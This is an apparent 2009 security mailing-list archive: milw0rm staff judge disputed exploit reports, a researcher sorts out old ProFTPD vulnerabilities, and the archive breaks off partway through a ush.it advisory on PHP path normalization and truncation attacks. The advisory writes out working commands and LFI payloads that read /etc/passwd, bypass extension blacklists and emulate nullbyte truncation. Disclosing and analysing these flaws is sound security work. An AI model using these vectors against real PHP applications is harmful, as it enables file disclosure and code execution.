From str0ke at milw0rm.com Mon Feb 2 15:12:00 2009 From: str0ke at milw0rm.com (str0ke) Date: Mon, 02 Feb 2009 09:12:00 -0600 Subject: [VIM] SOBI2 showbiz SQL injection - false, or site-specific In-Reply-To: References: Message-ID: <49870D40.9050309@milw0rm.com> I don't remember testing this but since the author was new I'm pretty sure I tested it out on multiple sites before posting it just to make sure he was legit. Steven M. Christey wrote: > http://www.milw0rm.com/exploits/7841 > > BID:33378 says the vendor disputed. > > I downloaded and grepped for "showbiz" and "bid" and didn't find > anything. > > Maybe this was some site-specific modification? > > - Steve > > From str0ke at milw0rm.com Mon Feb 2 15:32:01 2009 From: str0ke at milw0rm.com (str0ke) Date: Mon, 02 Feb 2009 09:32:01 -0600 Subject: [VIM] SOBI2 showbiz SQL injection - false, or site-specific In-Reply-To: <49870D40.9050309@milw0rm.com> References: <49870D40.9050309@milw0rm.com> Message-ID: <498711F1.70606@milw0rm.com> Went through old history, only tested it on the target he gave and grabbed the version info. I would say site specific. str0ke wrote: > I don't remember testing this but since the author was new I'm pretty > sure I tested it out on multiple sites before posting it just to make > sure he was legit. > > Steven M. Christey wrote: > >> http://www.milw0rm.com/exploits/7841 >> >> BID:33378 says the vendor disputed. >> >> I downloaded and grepped for "showbiz" and "bid" and didn't find >> anything. >> >> Maybe this was some site-specific modification? >> >> - Steve >> >> >> > > From bmartin at tenablesecurity.com Wed Feb 4 06:32:27 2009 From: bmartin at tenablesecurity.com (Brian Martin) Date: Tue, 03 Feb 2009 23:32:27 -0700 Subject: [VIM] ProFTPD mess from 1999 Message-ID: <4989367B.40605@tenablesecurity.com> Back in the day, there was a mess of ProFTPd vulnerabilities posted. It appears that they ended up as one CVE entry even though there were at least three distinct issues posted. It gets worse if you look at the vendor changelog for that time period, suggesting there may have been many more vulnerabilities fixed. I ran across this mess a few nights ago at the end of my work day (4AM) and gave George a heads-up. He looked at the three issues (Nessus has had plugins for each for some time) and added mail list references to each to help me distinguish them, saving me a lot of time and a royal headache. After that I did some more research because neither of us were sure if one issue was fixed by a specific release. All in all, this should clear up a lot of confusion over these old issues, and possibly point out there are additional vulnerabilities that should be documented. proftpd_mkdir_overflow.nasl (Plugin 10189), OSVDB 144: exploit for 1.2.0pre1 - 1.2.0pre3 posted by acidrain at HACKBOX.COM: http://archives.neohapsis.com/archives/bugtraq/1999-q3/0632.html temporary workaround: http://archives.neohapsis.com/archives/bugtraq/1999-q3/0649.html patch, says issue is due to src/log.c log_xfer() function: http://archives.neohapsis.com/archives/bugtraq/1999-q3/0651.html second exploit for same issue: http://archives.neohapsis.com/archives/bugtraq/1999-q3/0653.html fix, up to 1.2.0pre4 ?: http://archives.neohapsis.com/archives/bugtraq/1999-q3/0676.html At this point, it isn't fully clear if 1.2.0pre4 fixed the issue. While the timing of the vendor's mail (Aug 30) referring to the 'exploit this weekend' (Aug 27) seems straight-forward, the vendor's changelog has what appears to be a fix some 10 before that. The same changelog does not have consistent reference to release versions either. 1999-09-07 16:09 macgyver * modules/: mod_auth.c, mod_log.c, mod_ls.c, mod_site.c, mod_tar.c, mod_test.c, mod_unixpw.c, mod_xfer.c: Removed unsafe buffer copies that may have been potential problems. Implemented the 'real' patch for the MKD/log security issues. proftpd_overflow.nasl (Plugin 10190), OSVDB 51719: mkdir attack against 1.2.0pre4, discovered by Renaud: http://archives.neohapsis.com/archives/bugtraq/1999-q3/0816.html proftpd_pre6_exploit.nasl (Plugin 10191), OSVDB 51720: vague warning 1.2.0pre6 is vuln by tymm at COE.MISSOURI.EDU: http://archives.neohapsis.com/archives/bugtraq/1999-q3/0974.html patch for vuln: http://archives.neohapsis.com/archives/bugtraq/1999-q3/0995.html exploit, NLST overflow POC, 1.2.0pre7 should fix: http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html Now, the real mess. The following is from the Changelog distributed with 1.2.5, the oldest version I saw available on ftp.proftpd.org. These are the only three entries related to versions: 1999-10-04 16:35 macgyver * include/version.h: Updated to pre8. 1999-09-16 20:55 macgyver * include/version.h: Bumped version number. 1999-03-09 17:19 flood * changelog, include/version.h: Version 1.2.0pre3 There is a huge gap between pre3 and pre8 time wise, with only one indication of "bumped version number", not much help. Then it goes downhill.. look at all of the security related fixes (and a few that may be, but not clear): [..] 1999-09-29 23:10 macgyver * modules/mod_auth.c: Fix a potential security hole. 1999-09-17 00:31 macgyver * contrib/mod_mysql.c, contrib/mod_ratio.c, include/support.h, modules/mod_auth.c, modules/mod_core.c, modules/mod_log.c, modules/mod_ls.c, modules/mod_pam.c, modules/mod_tar.c, modules/mod_test.c, modules/mod_xfer.c, src/auth.c, src/dirtree.c, src/fs.c, src/ftpcount.c, src/log.c, src/main.c, src/pool.c, src/support.c, src/utils.c: Implemented sstrncpy to handle proper buffer copying issues on all platforms. 1999-09-16 21:06 macgyver * src/log.c: More intelligent handling of logfiles to avoid a potential race condition. 1999-09-16 00:42 macgyver * src/main.c: Fixed a silly, yet insidious, way to overflow a buffer. 1999-09-10 00:46 macgyver * src/support.c: Fixed remaining buffer issues in sreplace. 1999-09-07 16:13 macgyver * contrib/mod_ratio.c: Fixed some potential buffer issues. 1999-09-07 16:13 macgyver * contrib/mod_pam.c: Some minor security updates to fix potential buffer problems. 1999-09-07 16:09 macgyver * modules/: mod_auth.c, mod_log.c, mod_ls.c, mod_site.c, mod_tar.c, mod_test.c, mod_unixpw.c, mod_xfer.c: Removed unsafe buffer copies that may have been potential problems. Implemented the 'real' patch for the MKD/log security issues. 1999-09-07 16:08 macgyver * modules/mod_core.c: Added in Bandwidth patch for bandwidth control. Security cleanups -- removed lots of unsafe buffer copies. 1999-01-27 14:06 flood * changelog, include/support.h, modules/mod_ls.c, src/fs.c, src/support.c: More possibly MKD/CWD 'sploits fixed, and mod_ls workin well. [..] If you count the ones that are clearly security related, there are more than 3 issues fixed. The 1999-09-17 fix includes src/log.c in the sstrncpy fixes, so that is ten days before the first exploit was published. We don't know if he fixed it in advance in the dev tree, and someone found it shortly after, or if this was a second distinct issue fixed before the the one posted. Mention of a race condition in log.c, overflow in main.c and "buffer issues" all over the place. mod_pam.c "buffer problems" are definitely security related. 1999-09-07 and 1999-01-27 mention the MKD security issues, the 1999-01-27 entry may correspond to the Bindview 'palmetto' vulnerability (information forthcoming shortly that may clear that up). The 1999-09-07 mention of MKD says it is the 'real' patch for the "MKD/log security issues", which closely matches the disclosure 10 days later. When I get time (after ShmooCon probably), I will try to sort out the changelog better and create entries on OSVDB as needed. Brian Tenable Network Security From str0ke at milw0rm.com Wed Feb 4 22:21:39 2009 From: str0ke at milw0rm.com (str0ke) Date: Wed, 04 Feb 2009 16:21:39 -0600 Subject: [VIM] [MIL] 7970 Message-ID: <498A14F3.3060707@milw0rm.com> [MIL] 7970 seems to be a false report. After testing the demo the first time I received another login screen without a login error message, which made me believe there was some type of sql injection there. The vendor stated that this was a false vulnerability, so I retested today and now I'm receiving an incorrect Username or Password - please try again message. Strange, could of been me but not sure, xoron has his good and bad days. Removing it from the frontend for now. /str0ke From ascii at katamail.com Sun Feb 8 10:53:22 2009 From: ascii at katamail.com (ascii) Date: Sun, 08 Feb 2009 10:53:22 +0000 Subject: [VIM] PHP filesystem attack vectors Message-ID: <498EB9A2.9030206@katamail.com> PHP filesystem attack vectors Name PHP filesystem attack vectors Systems Affected PHP and PHP+Suhosin Vendor http://www.php.net/ Advisory http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt Authors Francesco "ascii" Ongaro (ascii AT ush DOT it) Giovanni "evilaliv3" Pellerano (giovanni.pellerano AT evilaliv3 DOT org) Date 20090207 I) Introduction II) The bugs in 50 words III) PHP filesystem functions path normalization attack IV) PHP filesystem functions path normalization attack details V) PHP filesystem functions path truncation attack VI) PHP filesystem functions path truncation attack details VII) The facts VIII) POC and attack code IX) Conclusions X) References I) Introduction On Apr 07, 2008 I spoke with Kuza55 and Wisec about an attack I found some time before that was a new attack vector for filesystem functions (fopen, (include|require)[_once]?, file_(put|get)_contents, etc) for the PHP language. It was a path normalization issue and I asked them to keep it "secret" [4], this was a good idea cause my analisys was mostly incomplete and erroneous but the idea was good and the bug was real and disposable. Later on Dec 24, 2008 on sla.ckers.org barbarianbob showed a path truncation attack against PHP that is partially based on mine attack. He discovered the bugs indipendently so he deserves full credits for them and his findings were dissected partially by Pragmatk on [2] and [3]. Sadly, or luckily, only the surface of these important issues has been analyzed and that's why we at ush.it are releasing this article: to bring complete light on them and present some additional juice. II) The bugs in 50 words As previously indicated there are two different bugs, the first, the one that I discovered on April 2008 that can be used independently for some purposes and the second one, discovered by barbarianbob that uses the first one to archieve a better goal. Let's see the details. - PHP filesystem functions path normalization attack PHP normalizes / and /. in path names allowing for example /etc/passwd/ or /etc/passwd/. to be succesfully opened as a file. - PHP filesystem functions path truncation attack PHP has a path truncation issue (a badly implemented snprintf()) allowing only MAX_PATH chars to be evaluated when actually opening a file or directory. III) PHP filesystem functions path normalization attack Normally one would expect that to open a file its path must be issued correctly: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ php -r 'include("/etc/passwd");' | head -n1 root:x:0:0:root:/root:/bin/bash --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- While all of us are aware that some path normalizations are normal: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ cat /etc//passwd | head -n1 root:x:0:0:root:/root:/bin/bash $ cat /etc/./passwd | head -n1 root:x:0:0:root:/root:/bin/bash --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP does far more than what we are likely to expect: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- php -r 'include("/etc/passwd/");' --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- As you can see the file is succesfully included (it works with every single filesystem function of PHP that makes use of _php_stream_fopen() and similiar functions). This is also part of the vector discovered by barbarianbob, while he uses it for different purposes from what I initially thought. But with vanilla PHP (the official source tree) it will not work and you'll get an error complaining about the fact that the target is not a directory. Why? Because barbarianbob, everybody who ran it succesfully, and me in my initial disclosure [4] were using a patched PHP (for example Suhosin, both loaded as .so or "build-in", Ubuntu PHP, that is patched with Suhosin, etc). This is thanks to a deep and extensive testing and observation plus some code navigation and gdb magery with the help of evilaliv3 and Wisec. To overcome this limitation we came out with the universal path normalization vector for PHP that is not a single "/" but "/.". Well this is the case in which a single char really changes things. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- php -r 'include("/etc/passwd/.");' --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- This doesn't happen under normal circumstances. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ cat /etc/passwd/. cat: /etc/passwd/.: Not a directory $ cat /etc/passwd/ cat: /etc/passwd/: Not a directory --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- We were already aware of the fact that these "neutral" chars could be repeated many times without affecting the result. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- php -r 'include("/etc/passwd//////");' php -r 'include("/etc/passwd/./././././.");' --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- To be perfectly clear I was not aware of the path truncation issue (damn!) and the use for this vulnerability was different in my mind. If you read the discussion in [4] it was about checks. While ereg*() functions can be poisoned by nullbytes, preg_*() and string functions like substr() are binary safe. So if there is a "blacklist" or negative check you can bypass it with path normalization: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ php -r 'if($argv[1]!="/etc/passwd")include($argv[1]);' '/etc/passwd' | head -n1 (doesn't work as expected) $ php -r 'if($argv[1]!="/etc/passwd")include($argv[1]);' '/etc//passwd' | head -n1 root:x:0:0:root:/root:/bin/bash $ php -r 'if($argv[1]!="/etc/passwd")include($argv[1]);' '/etc///passwd' | head -n1 root:x:0:0:root:/root:/bin/bash $ php -r 'if($argv[1]!="/etc/passwd")include($argv[1]);' '/etc/./passwd' | head -n1 root:x:0:0:root:/root:/bin/bash --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- But path normalization on PHP allows you to do something that cat(1) can't. To explain this a better example is needed, first let's see what would happen if only "classic" path normalization was possible: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ php -r 'if(substr($argv[1], -6, 6)!="passwd")include($argv[1]);' '/etc/passwd' | head -n1 (doesn't work as expected) $ php -r 'if(substr($argv[1], -6, 6)!="passwd")include($argv[1]);' '/etc//passwd' | head -n1 (doesn't work as expected, cause it still ends in passwd) $ php -r 'if(substr($argv[1], -6, 6)!="passwd")include($argv[1]);' '/etc/./passwd' | head -n1 (doesn't work as expected, cause it still ends in passwd) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- A check like this can't be directly bypassed (it could be if the attacker was able to create a link to /etc/passwd for example) but the need of this level of access becomes useless using the trailing "/" or "/." attack vector that we are presenting: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ php -r 'if(substr($argv[1], -6, 6)!="passwd")include($argv[1]);' '/etc/passwd/.' | head -n1 root:x:0:0:root:/root:/bin/bash <- WORKS! --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Now that the usefulness of this path normalization issue, specific to PHP, is clear, it's time for a more concrete example: bypassing blacklist file extension checking. The case is of a code equivalent to the following (for example an online file editor script). --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ php -r 'if(substr($argv[1], -4, 4)!=".php")echo($argv[1])."\n";' 'ciccio.txt' ciccio.txt $ php -r 'if(substr($argv[1], -4, 4)!=".php")echo($argv[1])."\n";' 'ciccio.php' (doesn't work as expected because the extension is blacklisted) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Instead, using our attack vector, the check is bypassed (and the filesystem function will normalize the path in a way that the attack will succeed): --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ php -r 'if(substr($argv[1], -4, 4)!=".php")echo($argv[1])."\n";' 'ciccio.php/' ciccio.php/ $ php -r 'if(substr($argv[1], -4, 4)!=".php")echo($argv[1])."\n";' 'ciccio.php/.' ciccio.php/. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Thanks to the discussion with kuza55, evilaliv3 and Wisec, 3 main uses of this attack vector were identified: - Blacklist bypass on write functions (file editors, file writing, etc) - Blacklist bypass on read functions (source disclosure, etc) - Regular expressions and IDS/IPS signature evasion The wrong assumption was that this behaviour was filesystem dependent, as said it turned out to be dependent on witch PHP version (patched VS non-patched) was installed. Kuza55 also remembered that blacklist based editors and uploads can be evaded anyway by uploading ".php.xyz" files (thanks to the Apache mod_mime mapping feature [6] necessary for mod_negotiation's Multiviews) but that's another story. IV) PHP filesystem functions path normalization attack details >From first empirical tests we discovered that the universal path normalization is "/.", these tests were lately expanded with deeper analysis of the PHP source code. PHP defines some stream wrapper functions and makes them available for use by higher level functions like include, require, require_once, file_get_contents, fopen and others. In this paper only include/require behaviours are going to be analyzed. The code analysis started with a simple breakpoint on open calls: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ gdb /usr/bin/php (gdb) break open Function "open" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (open) pending. (gdb) r -r '@include("/etc/passwd/.");' Starting program: /usr/bin/php -r '@include("/etc/passwd/.");' [..] [Switching to Thread 0xb7f2e6c0 (LWP 7264)] Breakpoint 1, 0x41606820 in open () from /lib/libpthread.so.0 (gdb) bt #0 0x41606820 in open () from /lib/libpthread.so.0 #1 0x082142c7 in _php_stream_fopen () #2 0xbff4c8cc in ?? () #3 0x09d20050 in ?? () #4 0x0000003b in ?? () #5 0x085e2504 in php_stream_stdio_ops () #6 0x00000000 in ?? () --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- _php_stream_fopen(), defined in main/plain_wrapper.c, was a good function to start the code analysis with as it was containing this interesting code: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- streams/plain_wrapper.c-893: if ((realpath = expand_filepath(filename, NULL TSRMLS_CC)) == NULL) { --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- The attention was then directed to the expand_filepath() function, defined in main/fopen_wrappers.c, and finally to expand_filepath_ex(), defined in the same file, witch was also containing the snprintf cause of the path truncation that will be discussed in the next chapter. After some raw (eg: printf+gdb) debug of expand_filepath_ex() the faulty function was finally identified: virtual_file_ex(). --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- main/fopen_wrappers.c-656: if (virtual_file_ex(&new_state, filepath, NULL, CWD_FILEPATH)) { main/fopen_wrappers.c-657: free(new_state.cwd); main/fopen_wrappers.c-658: return NULL; main/fopen_wrappers.c-659: } --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Yeah! virtual_file_ex() is the faulty function! It's defined at line 482 of SRM/tsrm_virtual_cwd.c Let's see where the error is. The interesting part of the function is at line 619 of TSRM/tsrm_virtual_cwd.c --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- TSRM/tsrm_virtual_cwd.c-619: tok=NULL; TSRM/tsrm_virtual_cwd.c-620: ptr = tsrm_strtok_r(path_copy, TOKENIZER_STRING, &tok); TSRM/tsrm_virtual_cwd.c-621: while (ptr) { TSRM/tsrm_virtual_cwd.c-622: ptr_length = strlen(ptr); [..] TSRM/tsrm_virtual_cwd.c-624: if (IS_DIRECTORY_UP(ptr, ptr_length)) { [..] TSRM/tsrm_virtual_cwd.c-651: } else if (!IS_DIRECTORY_CURRENT(ptr, ptr_length)) { [..] TSRM/tsrm_virtual_cwd.c-717: } TSRM/tsrm_virtual_cwd.c-718: ptr = tsrm_strtok_r(NULL, TOKENIZER_STRING, &tok); TSRM/tsrm_virtual_cwd.c-719: } --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- TOKENIZER_STRING, IS_DIRECTORY_UP and IS_DIRECTORY_CURRENT are defined in other points in the source: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ grep "#define TOKENIZER" */* -n TSRM/tsrm_virtual_cwd.c-82:#define TOKENIZER_STRING "/\\" TSRM/tsrm_virtual_cwd.c-103:#define TOKENIZER_STRING "/\\" TSRM/tsrm_virtual_cwd.c-106:#define TOKENIZER_STRING "/" --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- The define at line 82 is for WIN32, the one at line 103 is for NETWARE, the last is for all the other systems. The functions IS_DIRECTORY_UP and IS_DIRECTORY_CURRENT are defined as below. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ grep -P "#define (IS_DIRECTORY_UP *\(|IS_DIRECTORY_CURRENT *\()" */* -n -C2 | head -6 TSRM/tsrm_virtual_cwd.c-91:#define IS_DIRECTORY_UP(element, len) \ TSRM/tsrm_virtual_cwd.c-92: (len >= 2 && !php_check_dots(element, len)) [..] TSRM/tsrm_virtual_cwd.c-94:#define IS_DIRECTORY_CURRENT(element, len) \ TSRM/tsrm_virtual_cwd.c-95: (len == 1 && element[0] == '.') --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Although the code is simple to understand, here are the reasons of the normalization error: The if/else-if construct does not contemplate a failure of both cases and tsrm_strtok_r() will split the path at every "/". Then it analyzes every splitted string, returning false for all the condition statements with the effect that at every "while" cycle all the checks are ignored. This is why "./" is "neutral" and will not appear in the normalized path. The analysis for "/." is identical. Now it remains to see why, using the Suhosin patch, a sequence of "/" becomes a working attack vector. We have done our tests using suhosin-patch-5.2.8 [7]. In the patch, at line 34, there is a definition of a new php_realpath() function, and at line 1746, a "#define realpath php_realpath". So the patch replaces the entire vanilla realpath() function with this own implementation. This function, called by the virtual_file_ex() at line 561, does some checks on the path and returns a resolved path. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- TSRM/tsrm_virtual_cwd.c-561: if (!realpath(path, resolved_path)) { TSRM/tsrm_virtual_cwd.c-562: if (use_realpath == CWD_REALPATH) { TSRM/tsrm_virtual_cwd.c-563: return 1; TSRM/tsrm_virtual_cwd.c-564: } TSRM/tsrm_virtual_cwd.c-565: goto no_realpath; TSRM/tsrm_virtual_cwd.c-566: } --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Let's compare the behaviuor with and without Suhosin patch with the testcase: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ php -r 'include("/etc/passwd/////////");' --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- With vanilla sources the function realpath() returns false and the code jumps to no_realpath using a goto statement: PHP will use the real path (just the path variable without any change) instead of the resolved path. This means that "/etc/passwd////////////" will be used and the testcase will fail with: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Warning: include(/etc/passwd////////////): failed to open stream: Not a directory --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Instead, using Suhosin patched sources the function returns true, so it will use resolved_path of suhosin's realpath() function that will normalize the string to "/etc/passwd". Suhosin chooses to remove trailing "/" and that's a dangerous error (it does not prevent the "/." vector from working and opens another hole). V) PHP filesystem functions path truncation attack The attack disclosed by barbarianbob is really amazing and makes a different use of the previously presented vector (path normalization). He discovered in [1] that the path is "truncated" at a certain point. This is really amazing because it means that when including a filename longer than a certain length only the first part, the one that fits the buffer, will reach the real syscalls. Why is this of help? Think of a code similiar to the following: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- The attacker can control the central part of the included filename, since there is a fixed prefix RFI (Remote File Inclusion) cannot be performed (since it would require a protocol/uri handler to be provided to PHP plus the relatively new php.ini directives "allow_url_fopen" and "allow_url_include" on "On"). Commonly this can be exploited with a path traversal attack trying to include an attacker's controlled .php file (and this requires some sort of ability to control/create the target file, including its filename). --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- For example: ?library=../../../home/www.uploadsite_on_shared_hosting.tld/www/static/attack Will evaluate to: include("includes/../../../home/www.uploadsite_on_shared_hosting.tld/www/static/attack.php"); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- This is not a common situation, especially when doing LFI2RCE attacks as shown in [5] (Local File Inclusion to Remote Code Execution attacks are when a LFI can be automatically exploited into an RCE finding a way to put an attacker controlled payload on the target filesystem in an existing file, like a logfile, and then including it). Normally to mount a succesfull LFI attack the attacker must control the end of the path, since filesystem functions in PHP normally are not binary safe a nullbyte can be used. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- For example: ?library=../../../var/log/something.log%00 Will evaluate to: include("includes/".urldecode("../../../var/log/something.log%00").".php"); That is equivalent to: include("includes/../../../var/log/something.log"); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- The common problem with this is that magic_quotes escape nullbytes as addslashes() is implicitly called on all GPC and SERVER inputs. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ php -r 'echo addslashes(chr(0));' \0 That evaluates to something like: $ php -r 'echo ("includes/".addslashes(urldecode("../../../var/log/something.log%00")).".php");' includes/../../../var/log/something.log\0.php --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- As a side note magic_quotes_gpc will be removed in the upcoming PHP 6 release. Now let's come back to the path truncation, what if there's the possibility to make the appended string slip out of the buffer? This doesn't happen for the C language nullbyte string termination as incorrectly said in [2] and [3] but for the following code: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- # grep "snprintf(trypath, MAXPATHLEN, \"%s/%s\", ptr, filename);" * -R main/streams/plain_wrapper.c: snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename); main/fopen_wrappers.c: snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- As you can see PHP, instead of raising an error silently, truncates the string to MAXPATHLEN chars. The length at wich the path was truncated has been correctly investigated in [3] and the related code is the following: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- /main/php.h: #ifndef MAXPATHLEN # ifdef PATH_MAX # define MAXPATHLEN PATH_MAX # elif defined(MAX_PATH) # define MAXPATHLEN MAX_PATH # else # define MAXPATHLEN 256 # endif #endif /win32/param.h #ifndef MAXPATHLEN # define MAXPATHLEN _MAX_PATH #endif --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- And is 4k on most systems. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- strace -e open php -r 'include("includes/".addslashes(urldecode("../../../tmp/something".str_repeat("foo_", 1200)))."/append.php");' open("/usr/tmp/somethingfoo_foo_foo_foo_foo_foo_[OMIT]foo_foo_f", O_RDONLY) = -1 ENAMETOOLONG (File name too long) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Will result in ENAMETOOLONG but this limitation of glibc can be overcame using directories. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- strace -e open -s 100000 php -r 'include("includes/".addslashes(urldecode("../../../tmp/something".str_repeat("foo/", 1200)))."/append.php");' open("/usr/tmp/somethingfoo/foo/foo/foo/foo/foo/[OMIT]foo/foo/f", O_RDONLY) = -1 ENOENT (No such file or directory) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- This alone can't be helpful to mount an attack because somebody should be able to create a deeply nested directory structure and the offending file with an arbitrary filename at the end. An attacker with such ability could simply create a file that fits the initial needs of the appended string. This is an example where the path normalization vector comes in help and can be combined with the path truncation issue to achieve a greater goal (nullbyte emulation on magic_quotes_gpc enabled systems). The sled after the payload, containing the directory traversal path and the offending filename, must be one of the already seen path normalization attack verctors (eg: "/" or "/." repeated many times). Doing something is like filling the buffer until MAXPATHLEN of something that will disappear before the actual open() syscall. Slashes normalization happens on PHP vanilla; here they count as chars in the truncation code but are still normalized to a single / causing the ENOTDIR error. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ strace -e open php -r 'include("a/../../../../tmp/teest".str_repeat("//", 2027)."append.inc");' 2>&1 | grep "^open(\"/tmp" open("/tmp/teest/ap", O_RDONLY) = -1 ENOTDIR (Not a directory) open("/tmp/teest/app", O_RDONLY) = -1 ENOTDIR (Not a directory) $ strace -e open php -r 'include("a/../../../../tmp/teest".str_repeat("//", 2027)."/append.inc");' 2>&1 | grep "^open(\"/tmp" open("/tmp/teest/a", O_RDONLY) = -1 ENOTDIR (Not a directory) open("/tmp/teest/ap", O_RDONLY) = -1 ENOTDIR (Not a directory) $ strace -e open php -r 'include("a/../../../../tmp/teest".str_repeat("//", 2027)."//append.inc");' 2>&1 | grep "^open(\"/tmp" open("/tmp/teest/", O_RDONLY) = -1 ENOTDIR (Not a directory) open("/tmp/teest/a", O_RDONLY) = -1 ENOTDIR (Not a directory) $ strace -e open php -r 'include("a/../../../../tmp/teest".str_repeat("//", 2027)."///append.inc");' 2>&1 | grep "^open(\"/tmp" open("/tmp/teest/", O_RDONLY) = -1 ENOTDIR (Not a directory) open("/tmp/teest/", O_RDONLY) = -1 ENOTDIR (Not a directory) $ strace -e open php -r 'include("a/../../../../tmp/teest".str_repeat("//", 2027)."////append.inc");' 2>&1 | grep "^open(\"/tmp" open("/tmp/teest/", O_RDONLY) = -1 ENOTDIR (Not a directory) open("/tmp/teest/", O_RDONLY) = -1 ENOTDIR (Not a directory) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Instead /. normalization is transparent and no char is appended to the resulting path. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $ strace -e open php -r 'include("a/../../../../tmp/teest".str_repeat("/.", 2027)."append.inc");' 2>&1 | grep "^open(\"/tmp" open("/tmp/teest/.ap", O_RDONLY) = -1 ENOTDIR (Not a directory) 